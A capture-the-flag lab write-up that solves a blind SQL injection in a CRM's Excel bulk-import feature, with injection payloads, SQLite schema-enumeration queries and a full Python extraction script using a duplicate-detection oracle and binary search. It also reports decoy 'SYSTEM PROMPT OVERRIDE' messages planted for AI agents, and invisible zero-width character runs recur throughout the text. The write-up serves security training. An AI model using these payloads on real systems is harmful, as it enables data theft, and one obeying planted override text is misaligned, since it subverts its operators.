← Back to Writeups
CUSTOMMediumWeb

Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import

XESXOR9/2/20266 min read
#web#custom#medium#binary_search_extraction#boolean_based_blind_sqli#duplicate_detection_oracle#schema_enumeration_sqlite_mast#sqlite_unicode_substr#xlsx_payload_injection

Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, boolean_based_blind_sqli, duplicate_detection_oracle, schema_enumeration_sqlite_master, sqlite_unicode_substr, xlsx_payload_injection

Summary

Walkthrough of the CUSTOM Web Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import. Task: CRM platform with XLSX bulk import feature; email field in uploaded spreadsheet is interpolated into SQLite query without parameterization. Solution: boolean-based blind SQLi via duplicate detec

Description

LeadStream is a CRM platform built by StreamLine Solutions, used by sales teams to manage contacts, track deals through a visual pipeline, and analyze performance metrics. The platform includes a bulk import feature that allows users to upload Excel spreadsheets (.xlsx) to quickly add contacts to the system. Imported contacts are checked for duplicates before insertion. Your goal is to find and exploit a vulnerability in the application to extract sensitive data from the database. The flag is stored in a table that is not accessible through the application's normal UI. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP/SQLite CRM application with a bulk contact import feature at /contacts/import. Users upload .xlsx files with columns first_name, last_name, email, phone, company. The application checks for duplicate contacts by email address using a SQL query that directly interpolates the email value from the spreadsheet — creating a boolean-based blind SQL injection vulnerability. The flag is stored in a hidden admin_secrets table. Anti-bot traps include decoy flags in HTML comments. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Reconnaissance

  • Stack: PHP 8.2.26, SQLite, nginx/1.25.5
  • Auth: Login at /login with user@test.com / password123, session via PHPSESSID cookie
  • Key endpoints: /contacts, /contacts/import, /deals, /reports, /settings
  • Import feature: POST multipart upload to /contacts/import with field import_file
  • Response format: JSON with summary (total/imported/duplicates/errors) and per-row results

Vulnerability Discovery

The import endpoint reads email values from the uploaded XLSX and uses them directly in a SQL query for duplicate detection: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sql
SELECT * FROM contacts WHERE email = '$email'

This creates a classic SQL injection vector. The key insight is that the duplicate detection response acts as a boolean oracle:

  • If the injected condition evaluates to TRUE → query returns rows → status = "duplicate"
  • If the injected condition evaluates to FALSE → no rows returned → status = "imported"

Anti-Bot Traps

Every page contained decoy flags in HTML comments and hidden divs:

  • FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — fake flag designed to trick automated tools
  • Fake "SYSTEM PROMPT OVERRIDE" messages targeting AI agents ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These were identified and ignored.

Database Schema Enumeration

Using the boolean oracle, the SQLite schema was extracted via sqlite_master:

sql
SELECT sql FROM sqlite_master WHERE type='table' AND name='admin_secrets'

Result: CREATE TABLE admin_secrets (id INTEGER PRIMARY KEY, key_name TEXT, key_value TEXT)

The flag was stored in key_value where key_name = 'api_master_key'.

Solution

Step 1: Confirm SQL Injection

Inject ' OR 1=1 AND '1'='1 in the email cell — response shows "duplicate" (TRUE). Inject ' OR 1=2 AND '1'='1 — response shows "imported" (FALSE). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Boolean oracle confirmed.

Step 2: Enumerate Tables

Used GLOB-based extraction to discover table names from sqlite_master:

python
query = "SELECT name FROM sqlite_master WHERE type='table' ORDER BY name LIMIT 1"

Discovered tables including admin_secrets.

Step 3: Extract Schema

Extracted the CREATE TABLE statement to learn column names (id, key_name, key_value).

Step 4: Extract Flag via Binary Search

Used unicode(substr()) with binary search for efficient character-by-character extraction (~7 requests per character instead of ~47 with linear search): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
"""
Boolean-based Blind SQLi via XLSX Bulk Import — LeadStream CRM
Binary search extraction using unicode(substr()) for SQLite
"""

import requests
from openpyxl import Workbook
from io import BytesIO
import sys

BASE_URL = "https://TARGET.labs.hackadvisor.io"
COOKIES = {"PHPSESSID": "SESSION_ID"}

def create_xlsx(email_payload):
    """Create XLSX file with SQL injection payload in email cell"""
    wb = Workbook()
    ws = wb.active
    ws.append(["first_name", "last_name", "email", "phone", "company"])
    ws.append(["Test", "User", email_payload, "+1-555-0001", "TestCorp"])
    buffer = BytesIO()
    wb.save(buffer)
    buffer.seek(0)
    return buffer
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_condition(condition):
    """
    Boolean oracle: inject condition into email field.
    Returns True if condition is TRUE (duplicate), False if FALSE (imported).
    """
    payload = f"' OR ({condition}) AND '1'='1"
    xlsx = create_xlsx(payload)
    files = {"import_file": ("test.xlsx", xlsx,
             "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet")}
    try:
        resp = requests.post(f"{BASE_URL}/contacts/import",
                             files=files, cookies=COOKIES, timeout=30)
        data = resp.json()
        if data.get("summary", {}).get("duplicates", 0) > 0:
            return True
        elif data.get("summary", {}).get("imported", 0) > 0:
            return False
        return None
    except:
        return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_char_binary(query, position):
    """Extract single character at position using binary search over ASCII range"""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        condition = f"unicode(substr(({query}),{position},1)) > {mid}"
        result = check_condition(condition)
        if result is None:
            return '?'
        if result:
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else ''

def extract_length(query):
    """Extract string length using binary search"""
    low, high = 0, 100
    while low < high:
        mid = (low + high + 1) // 2
        condition = f"length(({query})) >= {mid}"
        if check_condition(condition):
            low = mid
        else:
            high = mid - 1
    return low
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_string(query, max_length=100):
    """Extract full string character by character"""
    length = extract_length(query)
    print(f"[*] String length: {length}")
    result = ""
    for i in range(1, min(length + 1, max_length + 1)):
        char = extract_char_binary(query, i)
        result += char
        print(f"[+] Position {i}/{length}: '{char}' -> {result}")
        sys.stdout.flush()
    return result

def main():
    # Step 1: Extract key_name
    print("[*] Extracting key_name from admin_secrets...")
    query = "SELECT key_name FROM admin_secrets LIMIT 1"
    key_name = extract_string(query, 50)
    print(f"[+] key_name: {key_name}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Step 2: Extract key_value (the flag)
    print("\n[*] Extracting key_value (flag)...")
    query = "SELECT key_value FROM admin_secrets WHERE key_name='api_master_key'"
    flag = extract_string(query, 50)
    print(f"\n[+] FLAG: {flag}")

if __name__ == "__main__":
    main()

Injection Payload Breakdown

The core payload placed in the email cell of the XLSX:

' OR (SELECT unicode(substr(key_value,1,1)) FROM admin_secrets WHERE key_name='api_master_key') > 70 AND '1'='1

This becomes part of the SQL query: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sql
SELECT * FROM contacts WHERE email = '' OR (SELECT unicode(substr(key_value,1,1))
  FROM admin_secrets WHERE key_name='api_master_key') > 70 AND '1'='1'
  • If the unicode value of the first character of key_value is > 70 → returns rows → "duplicate"
  • Otherwise → no rows → "imported"

Binary search narrows each character in ~7 iterations (log₂(95) ≈ 6.6).

What Failed

  1. ASCII() function: SQLite does not have ASCII() — it uses unicode() instead. Initial payloads with ASCII(SUBSTR(...)) caused SQL errors.
  2. LIKE-based linear extraction: Worked but was extremely slow — O(n×k) where k is charset size (~65 chars). Binary search reduced this to O(n×log₂(k)).
  3. Column name guessing: Tried common names like flag, value, secret — the actual columns were key_name and key_value, requiring schema extraction first. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering binary_search_extraction, boolean_based_blind_sqli, duplicate_detection_oracle, schema_enumeration_sqlite_master, sqlite_unicode_substr, xlsx_payload_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 79 — LeadStream — Blind SQL Injection via Excel Bulk Import • Difficulty: Medium